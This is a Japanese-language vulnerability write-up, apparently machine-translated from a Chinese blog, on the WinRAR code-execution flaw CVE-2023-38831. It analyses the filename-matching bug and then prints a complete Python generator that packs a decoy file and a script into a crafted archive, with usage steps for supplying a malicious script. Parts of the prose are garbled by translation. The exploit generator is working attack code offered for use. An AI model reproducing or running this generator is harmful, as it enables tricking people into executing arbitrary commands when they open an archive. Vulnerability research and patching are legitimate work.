【脆弱性の再発】RARLAB WinRAR コード実行の脆弱性 RCE (CVE-2023-38831)


序文

WinRAR は強力なアーカイブ マネージャーであり、Windows 環境におけるアーカイブ ツール RAR のグラフィカル インターフェイスです。
このソフトウェアは、データのバックアップ、電子メールの添付ファイルのサイズの削減、インターネットからダウンロードした RAR、ZIP などのファイルの解凍、RAR および ZIP 形式の圧縮ファイルの新規作成に使用できます。

バージョン 5.60 以降、WinRAR では新しいアイコンが有効になりましたが、ユーザーは公式 Web サイトで提供されるテーマ パックを通じて元のスタイル アイコンに戻すことができます。

声明

この記事に記載されている関連テクノロジーを違法なテストに使用しないでください。この記事で提供される情報やツールの普及と使用によって引き起こされる直接的または間接的な結果と損失は、ユーザー自身の責任となります。記事の著者は無関係です。この記事は教育のみを目的としています。

1. 脆弱性の説明

WinRAR は、RAR、ZIP、およびその他の形式のファイルの圧縮と解凍をサポートするファイル圧縮プログラムです。WinRAR には、圧縮パッケージ内の同じ名前のファイルやフォルダーを処理するときにコードが実行される脆弱性があり、攻撃者は悪意のあるファイルと悪意のないファイルで構成される特別に細工された圧縮パッケージ ファイルを構築し、被害者にこのファイルを開かせるよう誘導した後、被害者のマシン上で任意のコマンドを実行します。

RARLabs WinRAR バージョン 6.23 より前のバージョンにはセキュリティ上の脆弱性があり、攻撃者が任意のコードを実行する可能性があります。


2. 影響を受けるバージョン

  • WinRAR < 6.23

3. 脆弱性分析

脆弱性のトリガーは主に 2 つのリンクに分かれています。

1. おとりファイルをクリックすると、フォルダ内の同名ファイルが解放されます
2. ファイルが実行されると、元のファイルではなく、フォルダ内の .cmd ファイルが実行されます。

リリースファイル

ユーザーがファイルをクリックした後、winrar は zip ファイル内の direntry を走査し、direntry->name とクリックされたファイル名 (click_name) を比較します。比較関数 (0047F790) の 4 番目のパラメーター オプションは、関数が呼び出されます。0x800000063番目のオプション00496020パラメータが渡されると00496020、click_name とentry_name が文字列として比較されます。
ここに画像の説明を挿入します
渡される比較の長さは click_name の長さであるため、「CLASSIFIED_DOCUMENTS.pdf 」と「CLASSIFIED_DOCUMENTS.pdf \CLASSIFIED_DOCUMENTS.pdf .cmd 」のような比較は一致します。そのため、クリックされたファイルと同じ名前のフォルダーがあるdirentry場合比較関数は一致を示す 1 を返し、エントリに対応するファイルがクリックされたファイルとともに解放されます。
ここに画像の説明を挿入します
修復バージョン 623beta では、比較関数に渡されるオプション値は です0x80000002。この条件では、比較関数は最初に 2 つのパラメータのディレクトリ名を抽出して比較するため、上記の状況は一致しなくなります。
ここに画像の説明を挿入します
ここに画像の説明を挿入します
新しいバージョンのオプション値は、制御用のフラグを設定します。このフラグは、一時ディレクトリが正常に作成され、解析プロセス中に使用された後に設定されます。
ここに画像の説明を挿入します
ここに画像の説明を挿入します
ここに画像の説明を挿入します
ファイルの実行

次の利用コード部分を例に挙げます。winrar 表示ウィンドウで PDF ファイルをダブルクリックすると、winrar は関数 ShellExecuteExW を使用してファイルを実行します。ここで渡されるパラメータは次のとおりです: "C:\Users\ \AppData\Local \Temp
\ ************RAR$DIA *****.*****\CLASSIFIED_DOCUMENTS .pdf "
ここに画像の説明を挿入します
上記のバグの存在により、次の 2 つのファイルが一時フォルダーにリリースされますCLASSIFIED_DOCUMENTS.pdfCLASSIFIED_DOCUMENTS.pdf .cmd

这两个文件的末尾空格都在函数4A26B0中被去除

ここに画像の説明を挿入します
ShellExecuteExWパラメーターの末尾にスペースがあるため、2 番目の .cmd ファイルが実行され、脆弱性がトリガーされます。
ここに画像の説明を挿入します


4. 脆弱性の再発

今回の再発の環境は以下の通りです

再現環境インストールパッケージ:クリックしてgithub スクリプト検証をダウンロードします
ここに画像の説明を挿入します

プロジェクト アドレス: CVE-2023-38831-winrar-exploit

エクスプロイトコードは次のとおりです (コードコンポーネントにはマークが付けられています)

import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.tar"
# 模板文件夹的名称
BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
#诱饵文件
SCRIPT_NAME = "script.bat"
#脚本文件
if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
          python .\cve-2023-38831-exp-gen.py poc
          python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
    sys.exit()
# 赋值 BAIT_NAME, SCRIPT_NAME 和 OUTPUT_NAME
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
# 确定其扩展名,将 BAIT_NAME 按照最后一个"."进行分割,取最后一部分作为扩展名,并添加 b"." 前缀,得到 BAIT_EXT
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
#改诱饵文件扩展名
os.remove(TEMPLATE_NAME + ".zip")
# 删除临时zip
with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)
#写入文件
print("ok..")

POC を生成する 2 つの方法
python cve-2023-38831-exp-gen.py poc
または
python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat poc.rar

説明書

1、将诱饵文件和(邪恶)脚本文件放置在当前目录下,诱饵文件建议为图片(.png、jpg)或文档(.pdf)
2、运行python cve-2023-38831-exp-gen.py <bait name> <script name> <output name>以生成您的漏洞利用程序

ここに画像の説明を挿入します
コマンドを実行して を生成しexp.rar、圧縮パッケージを開き、*****.pdf ファイルをダブルクリックして実行し
、最後に Calc を実行します。
ここに画像の説明を挿入します


5. 修理のご提案

アップデートが間に合わなかった方は、悪意のある攻撃を避けるために、できるだけ早く最新バージョン 6.23 にアップデートすることをお勧めします。

おすすめ

転載: blog.csdn.net/weixin_46944519/article/details/132806105